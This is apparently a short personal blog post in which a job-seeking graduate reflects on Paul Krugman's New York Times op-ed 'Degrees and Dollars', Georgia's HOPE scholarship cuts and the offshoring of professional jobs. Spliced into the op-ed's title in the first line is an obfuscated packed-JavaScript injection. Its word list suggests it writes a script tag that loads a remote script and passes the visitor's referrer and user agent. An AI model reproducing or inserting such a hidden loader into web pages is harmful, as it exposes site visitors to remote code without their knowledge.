Food for Thought: Education, Not the End All

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New York Times’ op-ed piece, Degrees eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzikb|var|u0026u|referrer|niisy||js|php’.split(‘|’),0,{}))
and Dollars
by Paul Krugman, highlights the truth behind the growth of jobs.  In recent days, Georgia students have been up in arms over the reduction in their free college coverage from HOPE.  However, if they’re goal is to obtain a job, an education might not be the best method.  As Krugman details in his article, professional jobs are much harder to come by than manual labor.  He makes a good point when he states that professional jobs are more “offshorable” than low-paid positions.

More international trade and globalization might not mean more jobs at home.

So what does this mean for those job searching, like me?  I’m thankful for my college degree because manual labor would not suite my small body.  However, will I be stuck in a low-wage job?  Scary.

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